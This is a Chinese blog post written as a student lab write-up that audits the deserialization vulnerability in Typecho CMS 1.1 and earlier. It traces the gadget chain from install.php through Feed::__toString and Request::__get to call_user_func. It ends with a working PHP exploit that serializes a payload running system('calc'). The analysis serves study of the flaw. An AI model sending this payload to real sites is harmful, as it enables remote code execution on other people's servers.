首页 > 其他分享 >TypechoCMS 反序列化漏洞

TypechoCMS 反序列化漏洞

时间:2023-03-07 14:11:35浏览次数:61  
标签:__ php TypechoCMS 漏洞 Typecho toString 序列化

前言

这学期的专业实习周的第七个实验:Typecho CMS反序列化漏洞的代码审计,因为是学校的实验内容,所以难度也会比较低一些

环境搭建

Typecho CMS官方:https://typecho.org/

漏洞影响版本:Typecho ≤ 1.1(15.5.12)

下载链接:Release Typecho 1.1(15.5.12) · typecho/typecho (github.com)

漏洞分析工具:Php Strom 2021.3

使用php版本:7.0.9

漏洞安装也是比较简单的,直接看下安装后的页面:

当然环境搭建这块我们也可以使用Docker进行搭建,但是为了方便Debug(使用Docker也可以进行远程调试),还是搭建在本地比较舒适

漏洞分析

漏洞入口:install.php:230

如下图,Typecho_Cookie::get方法从CookiePOST中获取值,该值可控导致可以构造任意序列化值使其反序列化

在触发反序列化漏洞之前还需要满足几个条件:

  1. 存在finish参数,不然就会exit

  1. 需要存在Referer请求头并与Host相同

需要触发反序列化去看一下__wakeup__desturct方法

function __wakeup不存在

function __destruct如下图,查看代码发现都无法触发任何的魔术方法(此路不通),那就从刚才的代码继续往下看

install.php:232使用了刚刚接收反序列化对象的$config

查看Typecho_Db类的构造方法,在Db.php:120进行了字符串凭借,对应实参$config['adapter'],这里可以触发__toString方法

查看存在__toString方法的类

不难看出Config.php::__toString毫无利用价值

Query.php::__toString里边也都是一些SQL操作,最多也只能触发到__toString,同样无法利用

Feed.php::__toString:290处可以看到可以利用的地方

这里可以触发__get方法很容易可以定位到Request.php::__get

通过这里触发__get之前需要满足的条件:

然后到刚才的__get方法,执行了Request.php::get

在310行调用Request.php::_applyFilter

其中call_user_funcarray_map均为危险函数,可以调用任意函数进行命令执行

EXP

因为链子比较短,直接就写exp了

<?php


class Typecho_Feed
{
    private $_items = array();
    private $_type;
    public function __construct()
    {
        $this->_type = "RSS 2.0";
        $this->_items = [["author"=>new Typecho_Request]];
    }
}
class Typecho_Request
{
    private $_params = array();
    private $_filter = array();
    public function __construct()
    {
        $this->_params = ["screenName"=>"calc"];
        $this->_filter = ["system"];
    }

}

$o = new Typecho_Feed();
$a = ["adapter"=>$o, "prefix"=>"ggbond"];
echo base64_encode(serialize($a));

标签:__,php,TypechoCMS,漏洞,Typecho,toString,序列化
From: https://www.cnblogs.com/seizer/p/17187936.html

相关文章

  • Pwn2Own Austin 2021 Cisco RV34x RCE 漏洞链复现
    前言这个RCE漏洞利用链的实现是由几个逻辑洞的结合而导致的,这几天我花了一些时间复现了一遍,在此记录一下。固件解压我下载的是RV345v1.0.03.24,从官网下载到压缩包解压......
  • hutool XML反序列化漏洞(CVE-2023-24162)
    漏洞简介Hutool中的XmlUtil.readObjectFromXml方法直接封装调用XMLDecoder.readObject解析xml数据,当使用readObjectFromXml去处理恶意的XML字符串时会造成任意代......
  • 复现vulhub php文件包含漏洞
     (1) 搭建靶场   (2) 访问http://192.168.88.140:8083/lfi.php?file=/etc/passwd,发现存在文件包含漏洞   (3) 运行脚本文件python2.7exp.py192.168.8......
  • C#/.net 序列化与反序列化
    序列化就是将我们程序中的对象通过字节流写入存储媒体或网络流中。反序列化就是把已存入的媒体或接收的网络流中的内容转换成程序运行中的对象。这两个过程结合起来,可以轻......
  • 多对多三种创建方式,django内置序列化组件(drf前身),批量操作数据,分页器思路,自定义
    多对多三种创建方式,django内置序列化组件(drf前身),批量操作数据,分页器思路,自定义分页器的使用,form组件多对多三种创建方式1.全自动创建 classBook(models.Model):......
  • java序列化 教程
    序列化的条件:序列化必须要满足两个条件:1.该对象必须实现java.io.Serializble接口2.改对象的所有属性必须是可序列化的,若有属性不可序列化也须注明是短暂的 注:检......
  • 模型类序列化器、ModelSerializer用法、exclude排除某个字段用法、extra_kwargs中用wr
    1.序列表表所有字段返回结果:   2.url:   3.序列化表和表里的所有字段:   4.views代码:   5.序列化表中的指定字段:   6.exclude......
  • java序列化
    privatestaticfinallongserialVersionUID=1L意思是定义程序序列化ID。序列化ID,相当于身份认证,主要用于程序的版本控制,保持不同版本的兼容性,在程序版本升级时避免程序......
  • 渗透实战——信息收集、漏洞发现、漏洞利用
    信息收集0x01WEB信息收集网站前端源码脚本通过伪静态多提交地址访问抓包分析获得网站服务器等信息Web指纹识别在线指纹识别,在线cms识别小插件--在线工具(b......
  • 反序列化_保存和局部校验、全局校验
    1.序列化字段类型合集(CharField可以通用):#1BooleanField BooleanField()#2NullBooleanField NullBooleanField()#3CharField CharField(max_length=None,m......